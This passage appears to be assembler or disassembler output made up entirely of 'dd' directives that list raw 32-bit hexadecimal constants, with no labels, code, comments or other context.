0C7B9F99Dh dd 23200E00h, 1AC56FE5h, 0AE08CCADh, 0BF1FE021h, 77C09B0Eh dd 261DBA02h, 9085E3CDh, 4A3364Bh, 40C1DAE4h, 149B820Dh dd 4291825h, 1F4A69D0h, 844FE628h, 54E8F514h, 0C05100A3h dd 44A3C46Dh, 73823057h, 0D8BF6820h, 3BBE914h, 0D443E320h dd 2F1B2760h, 0C32E1903h, 6EED5D25h, 0F6E3F0A0h, 1005DDF8h dd 9B3F4611h, 51DCB402h, 1C20485Fh, 59C4316Ah, 0E0C09D36h dd 0F8007494h, 0CAD622E2h, 0CE47B2Bh, 9F5AD8F3h, 23EE29E8h dd 0EA7A470Fh, 0FFF267BAh, 0A81B4293h, 4E54FE9h, 0C3DE1C3Ch dd 0B4288882h, 9F92FD00h, 0AB44D283h, 36015C67h, 58D05060h dd 4618D964h, 22A0A1C4h, 0CDB5241Eh, 11DC4804h, 0EC2829Dh dd 31F4E21Bh, 0DB10B0DCh, 0FDEE0EBAh, 0AA4F950Ch, 11A19A3h dd 5603F0A9h, 30408C6Dh, 7A00B17Ah, 7B9C107Ch, 40E93B9h dd 0D1782A1Fh, 0C3A097C6h, 0FAF85E21h, 40076903h, 60FF5729h dd 6F6D1BF0h, 553F884h, 0E22F4C73h, 0D2D40050h, 7893214Eh dd 49CCD331h, 89BFA0AAh, 0ECB2DF81h, 20ACDC0Ch, 814F3F4h dd 788899EEh, 0AA89D48h, 0A06C8216h, 84A88880h, 0CB7F1F7h dd 8FE99DE5h, 21C17C08h, 884A0ADh, 27FCB68Ah, 9A500AD7h dd 46A8307Ch, 9B61DA5Eh, 0C433BA70h, 0E19996h, 0EE4AA69Ah dd 42334F8Ch, 0DA08DEh, 2BEC0321h, 0AF82A452h, 0E9E77A00h dd 0DC802322h, 0A9A53EB2h, 0C0B669E4h, 0D7A7B965h, 249CC700h dd 8346D46Fh, 0F7ECA07Bh, 1274E9h, 4E653EB2h, 0AAF3AB37h dd 13B09F48h, 6408EA98h, 2CA2D3h, 9E5DE362h, 14C7905Bh dd 0D671A000h, 67F1F4B9h, 7B822AE5h, 78EEA84h, 6F208723h dd 2216105Dh, 9F0046E4h, 0AC34156Bh, 66AC02Dh, 73567D65h dd 0D962988Eh, 99CB378h, 4E6F8404h, 0A03E05F3h, 5819CC01h dd 0D8DC13BAh, 0A9AB26B8h, 0D2FB40A0h, 1A7EE61Eh, 33162100h dd 0DEB814F1h, 0BB0D009Dh, 1140C8A6h, 7C4877ECh, 0ACC20094h dd 768C9E4Ah, 68F7357Eh, 13301288h, 4F0709F0h, 1C6BD020h dd 0D403C45Dh, 0CC6CBE1Dh, 63083005h, 5D148E21h, 641C7100h dd 16B3D11Eh, 18D8E679h, 0C96D24D0h, 3C1205CEh, 0D007EA6Fh dd 330789C4h, 0FE1C2200h, 0F750031Ah, 0B5B28F7Eh, 9B4988FEh dd 0EC080B8h, 8CAD2319h, 6D9AF44h, 0F75F0EB8h, 40C8C08Ch dd 0EC3C09Eh, 0C546231Ch, 0DC01B622h, 0D96D0EBBh, 0A2C009BEh dd 52430354h, 1F11EA29h, 4A67308Fh, 7248EE4Fh, 56CC83B0h dd 5810E62Eh, 0F198A050h, 12249C28h, 30409083h, 8210Bh dd 1B51E249h, 0B493575Dh, 38428A03h, 0F3066EFFh, 0AC978CF3h dd 71134B57h, 27113BF2h, 7715CE00h, 824EC2A3h, 84C8624Ch dd 0EA01420Ch, 8055BA2Eh, 0A70ACE18h, 709BFC74h, 2619FC54h dd 28B8926Bh, 3DBD46C0h, 4AA904F6h, 0DC328D06h, 2BEF672Fh dd 90D4FEE0h, 9FB13F6Fh, 37564C04h, 53608C94h, 44219B44h dd 0E4F5C069h, 0FCA2F284h, 0B311EC1Dh, 0C2A2980h, 0EE17C241h dd 6001B652h, 0BEFAD8F1h, 6D822200h, 9E871CCh, 78AB49BAh dd 0D010A09Ah, 0B817F822h, 4824485Ah, 0D4D1B83h, 251A9E21h dd 0D701F889h, 42F520C8h, 588F8CD6h, 0F071F78Dh, 80E3AAA3h dd 135D5651h, 1CBBABCh, 5E40DAF7h, 0E01F4849h, 9D0B579Ah dd 0AE688FDh, 810C7830h, 504977h, 0CE21C6B8h, 0F8B9AB3Ch dd 0E5BCDB00h, 36EA8718h, 0F0515046h, 98B567C6h, 549F88EBh dd 0E49524BEh, 0EC046C92h, 10074BBh, 0E089FE0Ch, 595022h dd 0F08BDB4Dh, 0FF2AB67Bh, 0F2F94B02h, 0C81A85A4h, 20E71E2Ch dd 7E2EC49Fh, 17420064h, 11240A42h, 42F28FB9h, 67E64AA5h dd 0EB0200E4h, 0BE74F32Bh, 0B06DC52Eh, 0EAC0FE04h, 8C4CDE01h dd 547620B9h, 2002B7B0h, 0FEE8F22Dh, 7F489B5h, 9E03F49Ch dd 11004A5h, 0A2A2EDA9h, 5CF0264Ch, 0C85D20C0h, 223D46D4h dd 18921D61h, 1C034B5Dh, 0DBBC5482h, 0F84CA303h, 0A1C2A052h dd 4019EB2Ch, 15D4C3DFh, 62442CA4h, 5D13008Dh, 0C00DF353h dd 0AA61E0F1h, 7E374AB1h, 6161A475h, 5CC2AC01h, 6823B303h dd 5D190FE9h, 6205D444h, 118B2066h, 4500905Dh, 0CF223C80h dd 18F1E1E4h, 70B412E8h, 2501997Ah, 0FE24D739h, 0E187C9ACh dd 0FC564EF4h, 0D1182E78h, 430CC66h, 611E1825h, 74B328E9h dd 32FC50Bh, 3F140042h, 587148DFh, 0F1809033h, 19B151F4h dd 0C8DAD00h, 0AF08B320h dd 486704EDh, 0C1E0B426h, 4192A544h, 0D61F7EC4h, 1E984840h dd 0B191E560h, 4559142h, 931F4EC5h, 0AE60C884h, 1C67E717h dd 0D950A030h, 0F6C00037h, 0DFB0A0DCh, 0CA6033FBh, 35F54591h dd 0A34A0F56h, 0F9C095A4h, 5772A6B8h, 1109CA79h, 24C1DEDh dd 41D21B2Ch, 7472D328h, 0B0337DF2h, 0B94D5B0Ch, 6260B70h dd 6E81BB00h, 13317E74h, 6A51E88Ah, 178A602Ch, 84A94034h dd 0BF46F1F8h, 0AE038322h, 0B3CA84A1h, 115AE0A2h, 25120498h dd 0A0D310FEh, 2312A44Ch, 0A0405506h, 1DFA82D6h, 202C9020h dd 0C97C64AAh, 7A60817Dh, 97F92B59h, 1157ABDh, 8F02EDE1h dd 435DD6A3h, 0B2E01AAEh, 907E27Ah, 0EA5744A6h, 468482Ch dd 261CCAC0h, 4B109065h, 0B801B335h, 215A4C9Eh, 0C445C55Bh dd 800FB881h, 0CC8C1D04h, 94B08375h, 0CEC0F503h, 0A90B37Eh dd 62DC9920h, 202014CCh, 1872E7E1h, 0F8C75434h, 0F2CF04F8h dd 81EA605Eh, 6C382B4h, 0F6521090h, 309E1CC1h, 22C2DD00h dd 0A7CE0Ch, 97D70318h, 0B9CDFD2Ah, 49F8345Eh, 0CB04293Ah dd 0C0E80AB6h, 0D80C31E8h, 1206BF0Eh, 140097D2h, 524B0D0h dd 15A01FB8h, 2FB4C09Ah, 26AED1E6h, 0B0DC0800h, 0BEDAFF17h dd 0D709142Ah, 0ACA1384Bh, 0CE10E0BDh, 8C184AE9h, 780E08B1h dd 0B02460CAh, 0DD033990h, 12C9A39h, 0FD30BDB8h, 243099B1h dd 24BA3ADAh, 19F787Bh, 35B4E0DEh, 404BB6E3h, 0BCEF1068h dd 0A1715F0h, 606499B2h, 5D82046Ch, 0F10578FFh, 854977D0h dd 1BE00008h, 0B89FAAFBh, 0B646D800h, 0E9C63517h, 0D04C59D0h dd 5C564A06h, 33C1818h, 50761482h, 846A2608h, 96EE2602h dd 9BFC8170h, 2C414FC0h, 0BCD1E167h, 0C63F444h, 0C88477Fh dd 30B70618h, 0EE362384h, 22A05901h, 0F50C184Ch, 4048DDD0h dd 0DC024911h, 0E1681906h, 2B155983h, 0A78F59Eh, 586D0411h dd 0C8EFC010h, 0D3E477A8h, 1D83F23Bh, 21261D61h, 784BF834h dd 42744ED0h, 0C396E814h, 0B55D4400h, 5CC40AD4h, 2E0C08ECh dd 0B561174h, 206F5ED6h, 9C2C1CC8h, 2B9D0A4Ah, 0F0C7ECFh dd 0D0137799h, 3E374C20h, 3087558h, 23150EEBh, 1487A56Ch dd 5A0991CFh, 14A2A545h, 58800624h, 0F1F284CEh, 0A2644E53h dd 0AC2C20C5h, 54E31F4Ah, 73BC088Ch, 67EE2741h, 9629B848h dd 99410344h, 190A0DFEh, 0F826C5B5h, 0E0169B65h, 26162C93h dd 1148B859h, 0FE98064Ch, 14C1E334h, 8C751B7Eh, 0E4A3CDC8h dd 585D2250h, 503674C9h, 0FD429869h, 0FA859062h, 44A0B324h dd 2FC018CBh, 4FD2512Bh, 31884E53h, 6903E0B8h, 84296420h dd 94016729h, 6E454037h, 4208E042h, 450C46A6h, 34800A57h dd 0C619909h, 8C40DE90h, 0B1FA84ACh, 6D295404h, 0E99888D8h dd 0A19A2BE0h, 990857F4h, 0DDFE1E22h, 568B1240h, 428C8D60h dd 80287528h, 99A32751h, 68AE0B0Ch, 33211CC9h, 85E9F80Ch dd 84BC3A4Bh, 984AA6A8h, 9958E680h, 0DF280C8Ch, 0FA248C85h dd 917F9C2Bh, 1221EA0Eh, 0A04AC0AEh, 120BC3F1h, 14080B73h dd 0D191BE78h, 86745877h, 0AF61E7AAh, 48F18850h, 1928A4F8h dd 51A9455Bh, 0BEA84D60h, 0CB341981h, 0D84D8879h, 5856A439h dd 934CD6CAh, 0C42C3F5Ch, 0B76B17CAh, 98AFDFF8h, 9B3BA48h dd 0F94D14C8h, 75D67803h, 0B08244E4h, 2B22DC14h, 1360D496h dd 0F4C4E02h, 16829EFh, 7198C4CFh, 482622Ah, 3C517F9Ch dd 27ABF681h, 0E8451E05h, 119D3C1Ch, 0E532395Bh, 0C13CD851h dd 0B6E7595h, 669E101Eh, 6954204Fh, 5F00BA90h, 9A457831h dd 9112109h, 25D09EBDh, 0B1C39010h, 0E57C420Eh, 0FB5D87E3h dd 14CE188Ch, 140298D6h, 0D1D87717h, 0C57D7AACh, 0E9F7F0D5h dd 9B353Ch, 0CEC071BDh, 7194486h, 81CD5124h, 0DCAE80EBh dd 0A0777EAh, 3BE9F389h, 99A03080h, 0A1620080h, 291B1547h dd 50C9ABFh, 69D033D2h, 0FD7E30h, 0B59E09C2h, 0CEF2E3A7h dd 0B3E52501h, 99805B2Ch, 1C5D4FCh, 4CB1BACCh, 0D25AC895h dd 91C1C868h, 0C339EC00h, 0E998EE53h, 99B600CDh, 49EA924Ch dd 1CBE33C9h, 0AC1F0793h, 0B90A7880h, 38C05B7h, 0A093DF7Eh dd 7CB0F2CAh, 0FB3EDEFCh, 87403B8Bh, 0C35E629Dh, 0E0DF47A3h dd 0F569C80Bh, 651020B0h, 660F4670h, 3935961h, 0C04727E6h dd 7464710Ah, 5F6E0174h, 0B7A22C7Fh, 443980F8h, 3284B5F0h dd 1972000Bh, 6A08226h, 3C009CEBh, 0FE224CEFh, 0AD80E0h dd 9A2F9EFFh, 4D661890h, 89A66B00h, 4199F69Bh, 0A0910071h dd 0D07A12B2h, 926708ECh, 4CC38B98h, 6FE17C04h, 6681B113h dd 9897D154h, 4291FA20h, 94D897B9h, 0E0150307h, 0CC2E7BFBh dd 0A5F20FCh, 0ED7467ACh, 250B808Ch, 0E18DA6CBh, 0EF8F6A01h dd 0CAD6049Ch, 43B02180h, 0AAD065AEh, 0B2E1C300h, 3188DAF7h dd 0CA97CBEh, 81B3E339h, 0CAE42268h, 552CAA00h, 8BF73314h dd 0E8EA0094h, 4ED2ACC4h, 1B00A3D6h, 688246Eh, 0BBD1930h dd 0C32372E3h, 8280178Eh, 78E471E8h, 0C083EA00h, 218107E6h dd 72B2034Eh, 301FBDB3h, 741B7BB0h, 0DABECE00h, 20C31977h dd 281A6669h, 0E83B1068h, 1C307C6Dh, 0AF304585h, 841F01B4h dd 2FF34CCEh, 72E9F00Bh, 0EC4E061Eh, 0F7BD1E09h, 0E7826F00h dd 0E365AE2Ch, 46BAFB8h, 8C0B2EEBh, 810F8400h, 141C2DEDh dd 184FF6ABh, 24EE63A1h, 403B24B8h, 0BF06000Eh, 0F6E4DA70h dd 5E9E06CEh, 18BC09F0h, 297F6607h, 9D0FD073h, 59D67B8Ch dd 9CBD0047h, 0F664A18Eh, 3BFEA437h, 191F7E1Dh, 5E45AE80h dd 392A22D9h, 6BBC404Fh, 78BC3200h, 454B7ACAh, 2BA65B00h dd 2E6DC36Fh, 89310061h, 2A783DAEh, 1C744881h, 57537E0Fh dd 0E547808Ah, 573E9E1h, 48D33264h, 214001B5h, 0ACCEDAE3h dd 851890E9h, 0C57BAE08h, 801223F9h, 258A5C2Ah, 0DAA07CA8h dd 0CA49408h, 37C0F362h, 10C0B699h, 345C38CCh, 68BF60E9h dd 0C2D30695h, 0D528CA0h, 942E68C0h, 0C08C404Eh, 6D2F6681h dd 40DFFA5Dh, 0C330908h, 2550A438h, 6B78EE65h, 8279D423h dd 4D8CB86Ch, 0FF023A5h, 38800EC6h, 0D9043524h, 0C8F6D2E2h dd 6307F7B0h, 0DB444D92h, 0C9406154h, 0A406FA6Eh, 931B307h dd 0FDC43E7Ah, 7988D648h, 502A085Eh, 578812C7h, 0C8494218h dd 0E0F03E3Eh, 25C4B200h, 0A7AC26DDh, 12408701h, 0CE71E37Bh dd 0F6EECF8h, 6D1BBD0Dh, 7831830Bh, 71506008h, 549899B0h dd 1600C3F8h, 0E7C2F68Fh, 44E226Dh, 0E5B84CA8h, 17949CB6h dd 0CBC85700h, 5B1974D4h, 1F04A6D3h, 140F959Fh, 8D00CCAh dd 9690C07h, 74A3C87Bh, 8A53E0Ah, 0C3C2FC47h, 0CE14A5E2h dd 0A0E6D80Ah, 92604074h, 686209CAh, 832F865h, 4FFB2496h dd 0A330158Eh, 0AA2110DEh, 613CE160h, 8C275002h, 0CF08C848h dd 43703E8Ah, 10263692h, 3EDF9CE2h, 61469297h, 0E2303F3Ch dd 50008C9Ah, 7002A33Eh, 31AC28CCh, 0A609C8A9h, 0C019E0A1h dd 991AD11h, 66A722AAh, 9C129C4h, 0BB19BE66h, 0C5B84409h dd 9C221CCh, 0BC19CCBFh, 0B689B909h, 0BAE2D310h, 5CFE8700h dd 4AFC9409h, 32A89216h, 0FDB861FBh, 0AA528496h, 6B2AEB04h dd 0BCCA5008h, 65E10083h, 4FFD46AFh, 174E2FFh, 0FB3B3C74h dd 0D28F80B9h, 0E188AC64h, 0B6AF3EE7h, 2E0FCF3Ch, 668FD7FDh dd 0F0BE4019h, 9040504Fh, 0CFC6811Ch, 0CF69D2E9h, 2946EBC1h dd 0FFDAF48h, 25ABFE04h, 14C662h, 0A7F8800Ah, 6EF69626h dd 384A6389h, 1884F0E0h dd 50225310h, 1975AB03h, 922AC5Dh, 171882ADh, 0C05DF504h dd 63CDF77Dh, 15486A01h, 3F4379B0h, 0BF2B1040h, 5838A54Fh dd 247E6E31h, 641F0F74h, 0BE0C4BF8h, 0FC18D6h, 0E7B5E1D5h dd 65D273FBh, 0C91CFF50h, 43028BF8h, 0B2696A67h, 85289363h dd 7FE470EAh, 3C317002h, 0B8632850h, 82D3180h, 68321BEh dd 6B1D4E00h, 81A9E2D8h, 0F5078B3h, 0E5842378h, 0E948C3DEh dd 0ECB00970h, 0E3572474h, 87F07214h, 0E27D1E7Ah, 7C6DDA3Fh dd 2382E918h, 3C067230h, 2500F188h, 0AE321F4Fh, 6C181DC8h dd 2290BF18h, 30ED377Ah, 25774018h, 6C06E380h, 6E1BBF19h dd 828D880h, 1A3A7706h, 0B28100B4h, 0E24FEDBEh, 85E93086h dd 0B4B37431h, 0E7BE59C2h, 100C9ADEh, 0F052DA8h, 21831F7Bh dd 0B26EECA2h, 7748880h, 0DCA6E888h, 72762603h, 0C0AEA3F1h dd 0C0E5434Dh, 3880F049h, 55E1CFC6h, 9028EFB4h, 0C0DE3D32h dd 8F73E180h, 0F5E97C33h, 54B46B00h, 3864A1DBh, 98A6002Eh dd 0FF79AE8Ah, 4600D331h, 0DEF82F68h, 0C78D404Dh, 10427071h dd 587FE864h, 6B383201h, 0C9E36ACFh, 0C0E4B6C8h, 0B963EA28h dd 2E12C24Fh, 4461CDh, 0CE0AAE3Dh, 90453C18h, 0A921DC68h dd 0D165630Ch, 0CDA405A5h, 7325E6Ah, 48012D2Ch, 0FA8EF88h dd 4015ABF7h, 2EC12F06h, 380C3872h, 0B8AF9E54h, 0F759C364h dd 3029AD65h, 0FA0DA887h, 0B3F83186h, 0CB28C0A9h, 0E86C82F0h dd 0E0FBBF0Ch, 5FD4060h, 653D301Bh, 6FD00864h, 0E030DCC4h dd 0F86D0BBh, 0E57E3821h, 5B5A30D8h, 6118AC60h, 0C06E3DE8h dd 0F5376468h, 53E1FA98h, 0F105C7A4h, 0BAD4E4C1h, 4E39DC18h dd 612FE266h, 75F73104h, 0A61895E2h, 1C7D144Ch, 56844058h dd 25804A7Bh, 0DCF20440h, 41E2BF05h, 0B0B54924h, 45873186h dd 0E45418FDh, 58AAE24Ch, 91A6E826h, 0D52E6A02h, 7DAE8936h dd 0CCBDC420h, 0A4A4B7F0h, 9EE27C42h, 0B8B1744Dh, 210BFE62h dd 0FBA10838h, 84C17A56h, 8A534910h, 52B547C2h, 2B892884h dd 3108A19Eh, 71117ED4h, 0A1DC892Dh, 7DA81911h, 65882F42h dd 106A4144h, 0EBA149FDh, 3529123Ch, 8A52F104h, 50828472h dd 8A1FD251h, 0C428505Dh, 35B92293h, 7471E112h, 5C326063h dd 43846C48h, 603252DAh, 0BF346869h, 5157606Fh, 0E8985CAFh dd 4011CA6Ch, 448C98FCh, 833FBCADh, 0E2EA19C9h, 6A13AE58h dd 40E30903h, 11F12FA7h, 1DDB4338h, 263F83DCh, 11B1A4D4h dd 4C4CC243h, 34C54D2Eh, 0CF9E5200h, 0AE497FE7h, 38322781h dd 893CA42Bh, 0B88608C5h, 0A50941C9h, 107E43F2h, 994963E8h dd 0A83E9438h, 0BD824198h, 0FA67CA16h, 3B285F18h, 0A1FD00A4h dd 0FCD98922h, 0FB00A39Ah, 1F8DD2A6h, 7891E84Eh, 3DD0B0E9h dd 7207500Fh, 403DE3EFh, 85068223h, 0EC4DF900h, 1F840775h dd 54AF2CA1h, 0EFC26DCh, 7987850Dh, 0A22382E3h, 0C520D887h dd 7AEC8008h, 0F90084F0h, 2373EDA9h, 296E0386h, 3E40880Ch dd 68F0BD0Bh, 503B0C80h, 1E2C4F03h, 3021E485h, 256C98B0h dd 931F29B4h, 80FA041Ch, 0A4AE4024h, 74B26CE9h, 606A53BDh dd 0A858E25Fh, 1FBD0022h, 0ADB42481h, 0B30AE431h, 18AE72F3h dd 88AA88C4h, 0DC02E7CCh, 17729AFEh, 6D2CB8B4h, 0C440F518h dd 2AEF419h, 0A8570B4Fh, 389B257Bh, 2E0EC0F7h, 1E0E700Ah dd 8A82086Fh, 40E8147Ch, 0A7AFCE0h, 0A70E07C1h, 0E21C881Bh dd 0E655571Ah, 0B916090Ch, 0B0654FC6h, 49F6E057h, 303940Dh dd 28F0CA7h, 1543E0A0h, 0D8ED0257h, 6D1FBF19h, 84183460h dd 0D80035E5h, 45030EB4h, 71DFE315h, 9880C40Ah, 75F1881Dh dd 0F6573E35h, 0F790713h, 28181940h, 0ED3C8EAEh, 20AA267Bh dd 0A006C4Ah, 1C68EC4Fh, 0F172E84Eh, 320D7426h, 3891C0D8h dd 0ADE8BA2Ch, 810CA212h, 0F7842BBh, 90C822E0h, 409187CEh dd 5152D89h, 14812F58h, 546074E3h, 4CFEF0A8h, 1900D086h dd 172EDE4Eh, 8300E582h, 71EFB3CEh, 106C323h, 0B2BF0F78h dd 0D1BE25D8h, 8C40E277h, 8201B74Ah, 81076CF6h, 706071E3h dd 0FC744C1Bh, 0CE3CE13Ch, 127AA0C8h, 0BB73067Ah, 4860DC18h dd 197037E3h, 8607C258h, 33F06C57h, 8130E9A9h, 4F78C878h dd 50247718h, 9EC32530h, 7A1311Ch, 18DFF0B4h, 72218801h dd 4FA8860Fh, 0EDFA246Ch, 0E90FF84Ah, 971D23DEh, 0C1D4306Eh dd 222CE7F0h, 0E4C260C3h, 0A8EF57C2h, 1CE21824h, 0B7AEC0ABh dd 951C987Ah, 2109647Ah, 5F6E1FB3h, 82D5A4B7h, 842392ADh dd 0E86EC4C8h, 0A2685897h, 13E46CDCh, 320F82B2h, 0E31C0Ch dd 0BF0402E2h, 477CD7BAh, 0EDBE8383h, 20C489E5h, 8062B21Ch dd 0CA257209h, 71E4B9C4h, 68ED508Bh, 4CC4C003h, 20E0BFA2h dd 0EF748813h, 69C04EF8h, 52EE9BEh, 2073E987h, 2CB42514h dd 2F3C83B4h, 73ED8004h, 34C3BD0Fh, 205860B3h, 1E6BE983h dd 38CCBE7Ch, 52F980C1h, 5048184Dh, 0F69EF112h, 0EECFA1Ch dd 56E47C04h, 0DDBE7209h, 93AC7390h, 182F7CC4h, 80C8862Ch dd 1F7A0372h, 68A7B26Eh, 5850D78h, 73EF7AF9h, 6DD88022h dd 64B8BCFEh, 1F87071Ch, 5B182395h, 5041F834h, 0E7803BC3h dd 2E723FD0h, 2208818h, 6AE37B19h, 0E81F38E0h, 831D449Eh dd 6CE97A04h, 4E2D3CF2h, 0EA4FD410h, 0A50706F0h, 70E37925h dd 83E78141h, 0EC107070h, 1B7A1218h, 3003FE82h, 0A199FFA0h dd 9C4019A4h, 307FCE70h, 842177DAh, 0EC1DBF16h, 0E3090980h dd 2350E96Dh, 0AE80C82Dh, 248502A8h, 8D3D5402h, 851B810Ch dd 342EBD80h, 0EC61A4C9h, 0D0507DBFh, 1E0BBE34h, 90EE196Fh dd 6E1B9B0Ah, 3003F022h, 0A00353EBh, 0F8ECBDFFh, 0F1C30D18h dd 0C8210777h, 721D06ABh, 6914840Fh, 73B21EC8h, 0D98390B2h dd 9E301E0h, 4D8123E0h, 0F3104B38h, 721BE0F6h, 0E8546FB2h dd 851D7A81h, 601D2ACEh, 71EC6D02h, 76DC8025h, 0C01E7A06h dd 73EA4D20h, 90978218h, 4AB22EFCh, 0D2E0717Bh, 3DC4428Fh dd 418C8088h, 38A1DCF5h, 6920C1F8h, 7FD94F24h, 1988D8B1h dd 41DC47B4h, 216F3DC3h, 1A409E5Ch, 256C3C01h, 430E584h dd 902278C2h, 79ED7AA8h, 0A1C776DAh, 89CA06B0h, 4C8177F0h dd 2A8EE949h, 0CA82833h, 85B28628h, 0ED8073E9h, 9858AA2Fh dd 964FD6DCh, 0EC30B060h, 0C25ADAD8h, 1E80D420h, 2969E4B3h dd 0A5F48209h, 0F07A6432h, 224FEF78h, 810B300Fh, 0BF186910h dd 0E89A80F1h, 0F00DC007h, 0FF1872E0h, 8303C9ACh, 0D3112F5Ah dd 446880CFh, 89C8F72Eh, 1CC500AEh, 64A1E260h, 0C70C233Eh dd 1095DCCCh, 7B760026h, 0D2AE8A4Bh, 37F4A773h, 0C8C1394Eh dd 22F4B34Fh, 23410493h, 0C39D2Ch, 0D6B640D7h, 66BF1E05h dd 0F9F34E57h, 4C765E00h, 0E80BE30Ah, 8E069A89h, 0FF57611Bh dd 204E2A53h, 0FA5CE108h, 0A0AE6A60h, 0E162605Ah, 0B24112Eh dd 8FABC901h, 9003CFD6h, 8C685FD2h, 2300FAA5h, 5EBEF340h dd 4F294EEDh, 0E7FC928Ah, 63B194A0h, 325857F9h, 0F8AE0720h dd 11E7B4F4h, 0C4900120h, 9930ED9h, 0E60ABD45h, 4EA14E98h dd 80FEFAF9h, 6979B249h, 0F944355h, 0A37BAEE2h, 21D1187Dh dd 6903923Ch, 65C66032h, 19F6FBh, 0E5034C51h, 378409FCh dd 3066770Fh, 8F414156h, 8CF844CCh, 1178C6E0h, 0AE2B465Ch dd 0F6008453h, 3C90C23h, 3A448690h, 23FF1E8Eh, 516D0055h dd 0D1C188A1h, 0BAE90F12h, 125E1840h, 0FFC817h, 505A74BBh dd 2E2346DFh, 94510491h dd 58412F0Dh, 2FFE48CBh, 8F1CB03Ah, 63F67A14h, 1992C81Ch dd 41AF8156h, 185B05F8h, 65E824CBh, 34498E08h, 448017AAh dd 24136052h, 0FBC91015h, 2155CC8Eh, 23FC008Fh, 940A2C35h dd 0BA381045h, 0E8E28978h, 228F861h, 2548EFE3h, 0F076D376h dd 0B972D200h, 34CB0D53h, 0EAA96B6Fh, 7D2228C0h, 32640263h dd 298816D4h, 2BF1C99h, 8050D428h, 0B1481638h, 793FAEA4h dd 454B0512h, 0EC5F041Dh, 0ED619318h, 113C0013h, 24F65DE5h dd 9A024066h, 0BB144FA9h, 0C400477Fh, 67006538h, 19A9CCEFh dd 8548C043h, 0E1DCFBF5h, 854484AFh, 0B0467E6Bh, 50CD431Eh dd 2EC2099Dh, 0C9144002h, 4EE1C0E0h, 0DE9B630Fh, 6D1E270Ch dd 0C01B602Bh, 93D28590h, 99C0E486h, 82317C3h, 441E065Ah dd 81661C2h, 6E219460h, 0CE230Fh, 7F7557D1h, 6FC9D3E2h dd 61459498h, 23DD0C5Eh, 0AA6A0C80h, 0C2326CAh, 0AEF4D547h dd 5398F0E8h, 0CD5B44A0h, 4D6341C6h, 3E75F1h, 6C2B55D9h dd 0DE39EAC5h, 0AC4AC009h, 0E1C00138h, 0B000D0BBh, 1C5A7DDAh dd 0BFAF10D0h, 0F97E01D3h, 7B27925Bh, 0FCA0A4B0h, 0E463243Dh dd 7F3EA831h, 0BD22DC5Eh, 29082087h, 3427C772h, 2B4FC51h dd 0F48CE120h, 2F6E4069h, 0F5FA334Dh, 28B88590h, 799D1534h dd 860D8718h, 0BEDCC041h, 5516EA0Ah, 0CE4424Eh, 993714DAh dd 0B84ECCC9h, 84E4CF7Ch, 0CC01B7BDh, 80B3C540h, 81686318h dd 1446D335h, 8C97B0D5h, 5651C062h, 90134502h, 76861140h dd 77B700F0h, 0BED65DACh, 571859FCh, 7E60BCD8h, 64799D35h dd 0A0D4AB02h, 0EBA4DC8Fh, 26006059h, 9D92BD35h, 0A4380239h dd 0DDE23730h, 7F5A2840h, 0D0C29030h, 7450FC28h, 370E0EA2h dd 890CD545h, 0E92C0C58h, 28303D80h, 2C759A2h, 131E36DAh dd 0A4828630h, 4C9296FCh, 0BBC82840h, 0C91B4CACh, 0FB887EB6h dd 10FEB248h, 4E80E03Ch, 1AB8A43Bh, 19844F5Ch, 40E675h dd 1CDE34A7h, 8776FD55h, 0F894971Fh, 7C44E8CAh, 7F538A84h dd 5F6C1E80h, 500C6EB4h, 4AE0A97Fh, 809011DCh, 5A0D2314h dd 95448C26h, 230C006Dh, 0E014B49Fh, 1801EEA7h, 0C9C2FC39h dd 0A33B331Eh, 454E1484h, 8763002Ch, 375BFC5Ah, 88BAFF79h dd 0AC4C1048h, 9E2E410h, 20611E3Eh, 8CD4560h, 0AF18D3C1h dd 7840F830h, 98A805D2h, 0BC1B2619h, 7DDCC1A8h, 0A73B6057h dd 0E3210274h, 68A5F811h, 57CF64h, 0B7277EBDh, 6F2C63B6h dd 58D308CBh, 98EA0200h, 64BAC1BDh, 0B9578DEh, 58A10AF8h dd 0E884E411h, 0FA04CFC1h, 7E20D0CCh, 360067FBh, 0E1108BCBh dd 54720Ah, 69AD87C0h, 40C8EB2Eh, 9A81A59h, 301131E8h dd 1C784184h, 43C97E88h, 3AA37626h, 7479182Ah, 6060C238h dd 241BFD99h, 41389195h, 427F5E6Fh, 0A307EF0h, 5A131123h dd 80898816h, 1B2322A3h, 2A0B60F3h, 85436154h, 0C4288A7Ch dd 444F2441h, 74C44758h, 7704D088h, 0A2137E99h, 0F820A4E2h dd 68508Ch, 0F4DFB976h, 0B3DD3A0Ch, 5F8E9A00h, 72AC3854h dd 0A43148FCh, 104EE4C1h, 2EC73FBh, 4356697Ch, 10CF316Ch dd 3C69953Fh, 2C28B1F5h, 4FDC1F4Ch, 70CFD3E8h, 5F2F7250h dd 19BA7F3Ah, 0F720D179h, 0E730406Eh, 0F976F0FBh, 0F2981300h dd 7B4F9426h, 7FCE0560h, 0C3315A4Eh, 0A8F34074h, 39E8500Ah dd 0F1C0E40Bh, 43E8CCFh, 6047C1DCh, 2DBC816Dh, 0FBFC41E3h dd 89E050C8h, 8001DA9h, 0B441F590h, 4074451h, 54B217EAh dd 3E649855h, 5EA7663Dh, 2E4318D0h, 0FC21B739h, 4BE1E8BBh dd 50C906D4h, 2678D596h, 563707Bh, 0D33F652Fh, 9E90114Ch dd 0CE072561h, 0C8CD155h, 981A5B80h, 5F3A2679h, 6F636018h dd 34913704h, 5006C0A6h, 260D1C2h, 0E748F258h, 7068E1F5h dd 7089412Fh, 25E5F820h, 0D818F64Eh, 4C11697Ah, 0D4887C43h dd 69933D80h, 20ED82h, 8F90EEC8h, 431F66BEh, 1050E0D4h dd 186EDBFCh, 0C00246A8h, 80FD60E4h, 7B49E69Ch, 25FF0E20h dd 61665ADCh, 620B82Eh, 313809FDh, 6003A7B9h, 0C5B2E8CAh dd 0CECCE77h, 0DEB638A0h, 0E000A431h, 98C60B7Ch, 26334968h dd 8E851E5h, 0D000D71Ch, 0BEAD584h, 24E858F6h, 75DEA4C0h dd 0A8D328DFh, 0BA781804h, 0E37A0700h, 5C0D4470h, 30C83137h dd 0C134E33Bh, 0B40E48D8h, 0CA9105F3h, 88FFB650h, 0BA64602Ch dd 0D0EEF728h, 155E2734h, 0AD36BC01h, 6E653435h, 8FC1B431h dd 78CC1102h, 239CA34Ch, 0BD49010Bh, 19A72778h, 0EC006029h dd 0C715BD52h, 0E828B7B3h, 0DF000CBEh, 72C55C8Ch, 2E7B6h dd 0EE0B51E0h, 7E4B169h, 0F19E4F0Ch, 428DF856h, 996282E3h dd 0B687418Ch, 7048E426h, 